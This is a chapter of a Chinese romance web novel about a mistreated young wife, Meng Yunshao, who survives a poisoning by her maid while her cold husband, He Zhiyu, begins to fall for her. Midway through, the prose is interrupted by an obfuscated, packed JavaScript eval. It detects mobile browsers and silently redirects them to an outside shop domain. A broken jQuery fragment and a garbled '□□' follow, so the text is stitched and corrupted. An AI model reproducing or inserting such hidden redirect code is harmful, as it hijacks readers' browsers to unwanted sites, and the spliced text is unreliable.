5. 情种
    那是她嫁过来初初满一年的时候,也是冬天,也极冷。

    过了一年的苦日子,陪嫁丫头青若生了离开的心思,说是收到了老家表哥的求亲信,求孟云芍放了她的身契准她回家嫁人。

    她本签的是死契,可孟云芍和她几年作伴,看她实在哭的可怜,也知自己这里毫无前程,便同意了。还不顾素月的阻拦,从零丁的嫁妆里取了一对银镯一只银簪给她做嫁妆,让她莫要叫人看轻了去。

    青若拿了身契和嫁妆,拜了又拜,第二日便要离去。

    当夜,孟云芍觉得这冬夜异常温暖,一直做着昏昏沉沉的噩梦,后又忽然如坠冰窟,只感觉遥远的地方有人在唤“小姐”,却听不真切。

    终于,她在头痛欲裂中醒来,才发现自己置身在寒风刺骨的院子里,而素月正抱着她哭个不停。

    原是青若自请最后一回她来值夜,睡前给孟云芍喝下掺了安眠散的汤,又在屋子里烧了几倍于平时的碳,把屋子关得死死的,竟是想让她中石碳毒,要她的命。

    素月这才哭着说,之前看到青若有一回私下和孟云芍的嫡姐孟云姝在街上说话,也没背着人,顾着情分也担心只是碰巧错怪了她,没有向孟云芍告发。这事已过去小半年,素月也渐渐安心,还当是两人只是街上偶然遇见,是自己多心。

    只是这夜她心下有些莫名慌乱,一直睡的不踏实,听见主屋的门响了一声,犹豫再三出来看看,才发现青若已人去楼空,而孟云芍不省人事。

    经此一事,孟云芍生了场大病,身子久久未愈。

    侯夫人倒是差大夫来看过一次,可三副药下去没见好,孟云芍却是不能再烦扰一次她了。

    有一日,她躺在冷气森森的屋子里咳得厉害,想着自己如此这般又有谁知道,又有谁在意。

    上次之后,她实在是怕了容易中碳毒的黑炭,却又已经没有高级的银碳,只能在冰窖一样的屋子里生生受着。

    几个仆妇看她病弱,更是不把她当作一回事,也不知是谁日日偷换她的主子菜饭,她也实在爬不起来管。便是今日,他们都借着帮忙搭台子的由头跑去看沈姨娘喊的南曲班子了。

    正在心灰意冷之际,素月却忽然哭着跑进了院子。

    孟云芍问了半天,才知道原是因她生病,素月求了门房上的管事想再给孟云芍请个大夫看看,那人却借着帮忙对素月动手动脚。

    孟云芍抱住素月,泪水止不住地流了下来。这是她到贺家以来,第一次哭。

    她好恨自己这般无能,顾不了自己,护不住丫头,还识不清人心。

    她好恨。

    贺知煜走进扶摇阁的时候,看见的便是这一幕。

    因为孟云芍住的扶摇阁原是他的住处,他的私章放在隐蔽处,此次是不得不过来拿。

    且他也没什么可躲的,冷了一年,许也是该和她说说清楚,一拍两散。

    他却看见她穿着单薄的素淡旧衣站在冷风口里,站在院子里已落得没了叶子的梧桐下,怀里靠着瑟瑟哭着的丫头,自己亦是病弱悲切,苍白如纸。

    她似是从自己去母亲处偶然见过几次的乖顺中活了过来,有些愤恨地看着他,不见了印象中便是出现得不合时宜也让他不得不暗叹惊心的鲜妍美貌。

    可明明是病着的样子,却又透出一种别样的倔强。

    像婚宴那日红烛摇曳的洞房,她直白坦荡地看着他说:回世子,我是孟家的养女,孟云芍。

    来时想说的话就这么被噎了回去,他什么都说不出口。

    直到几年后,贺知煜才后知后觉地意识到,那便是他无可救药迷恋上她的开端。

    而后来的那些春风化雨的温柔,又把那颗长在他贫瘠荒芜心上的情种,浇灌得亭亭如盖,最后遮天蔽日。

    而亦是几年后贺知煜才知道,那也是孟云芍下定决心离开的开端。

    那天,侯府上上下下,谁都知道世子动了气。

    他寒山般不动声色的样子一如往昔,只是从不管内院之事的世子,发话发卖了扶摇阁的几个下人,处置了轻薄少夫人陪嫁丫头的管事,其中不乏已用了十几二十年上的府中老人。

    世子还差人请来了太医院的院判白太医,在银丝碳的暖意融融中,为孟云芍医治。

    孟云芍又恢复了那副温和柔软的样子,似乎之前露出一瞬的小小獠牙并不存在,只是贺知煜一个人的错觉。

    病好以后,孟云芍恢复了给婆母日日请安,经此一事,婆母许是有些自责因去青台山拜佛差点误了云芍性命,褪了手上的玉镯赏了云芍,还另让她日日去书房给世子送一盏汤。世子知道了,也没有反对。

    但云芍炖那汤不用心。

    素月春日里起夜受了寒,又因之前吃食太差,断断续续一直身上不爽。

    她喜淡淡的甜,爱喝鲜鸡椰枣汤,孟云芍便借着给世子送汤的由头,让厨房日日都炖。

    孟云芍生了离开的心思,想着如此日子也不如遂了那人心愿,和离也好,左右是在哪儿都难罢了。那也不必再日日都看他脸色。

    只是她要走,也该有些盘缠。之前虽有那么小小一包嫁妆,但实在是不够。

    她不光得顾着自己,还得顾着素月,那丫头,明明她允了也放了身契给她,她却不肯走。

    所以虽则不用心,她也日日应付着。

    毕竟还在想办法离开,也不知这冷漠之人是否还有些用处。

    鲜鸡椰枣汤送了月余,有一日贺知煜终于忍不住,道:“我素日不爱甜,也换换吧。”

    孟云芍满眼是要溢出来的温柔小意:“回世子,此物温和却最平春日内燥,最利女子滋阴……和……和男子补阳。”

    她有些走神,一不小心说了真话,只能临时编了半句添补。

    落在贺知煜耳朵里,却变成了另一番意思。

    补阳?补什么阳?他为何需要补阳?

    送了这么久,她在暗示些什么?

    他有些了然。

    贺知煜拿起汤匙喝了一口,连自己都没察觉到地笑了一下。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14206163|150945||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    孟云芍看他忽然心情不错,有些莫名。

    不过她不在意他是为什么,抓住这难得的时机,道:“世子,我来了贺家也一年多了,扶摇阁的月例能否给我打理?”

    贺知煜愣了一下。

    扶摇阁的月例,他之前也一直是让账房给她送过去的,他便是之前想着和离,也不缺这点金银,不愿苛待了别人。不过他也知道,上次处置的有个一等管事女使,确是仗着熟悉侯府,钻了漏洞背后贪了不少。

    可这两三个月,他怕再出差池,都是叫账房亲自送她手上。

    只是他不知道,侯夫人看她之前病着,便直接把下人们的发了,她的那份则给她存着,怕她一时身弱难管,新一波再来的仆妇又有错了主意欺她的,反□□里不缺什么,也就没说。

    贺知煜心道早就给了你的事情,为何又来求一个确认。

    难道是要听他亲口承认,承认月例应该给她,也就是承认她扶摇阁少夫人的地位?

    他心念一动,问:“为何?”

    孟云芍觉得奇怪,要月例自然是为了花,还能是为何?难道他看出了她想攒钱跑路的心思,不愿平白出这冤枉钱?

    孟云芍试图找些合理的理由,不能让人看出离开的心思,强调道:“我入了贺家的门,也就是贺家的人了,自然也该和旁人一样有月例。”是呀,贺家满院子数百的丫鬟婆子哪个没有月例,为什么她孟云芍不能有?你们缺这点吗?

    贺知煜心下觉得有些好笑,她太过直白急躁,该是更加含蓄些。

    说什么是贺家的人,不就是他贺知煜的人?她就那么想成为他贺知煜的人?

    可他察觉到自己并不反感,甚至有些不该有的得意和高兴。

    说起来,她是身份不高,背后没有倚仗,对他的家族无甚益处。可他的身份已足够高,皇亲国戚、兵权在握、皇上亲信、富贵无极,他为何非要强求她这些?且他觉得那些本该就是男子去争抢的东西。

    她没有的,他恰好都有。

    这两三个月,他冷眼瞧着她偶尔在书房陪伴,原竟是读过不少书,颇有些见解,跟他是能说上话的。更何况,她美貌,温柔,聪慧,坚韧,定是比原定要嫁过来的孟云姝强上数倍。什么京城乐仙?他又不爱听琴。

    孟云姝他都没说什么,换来一个更好的,他又缘何这般冷落?

    孟云芍见他不回答,有些心虚地催促道:“世子觉得呢?”

    贺知煜没有想得很清楚,他觉得应该慎重一些回答,这似乎代表了什么。

    应该坐下来,细细盘一下。

    像推演沙盘一样,算一下她有什么,他又没有什么,能不能合得上对得齐。再推演一下,该是什么时候给她露出什么层面的意思,至于她说的成为他的人,也该是循序渐进的,不能叫人觉得他轻浮随便,前几个月还想着和离,没过几天便转了心思。

    可她就站在旁边,眼神里满是期盼,急等着他回答。

    他便压了压嘴角,糊里糊涂地简单答道:“可。”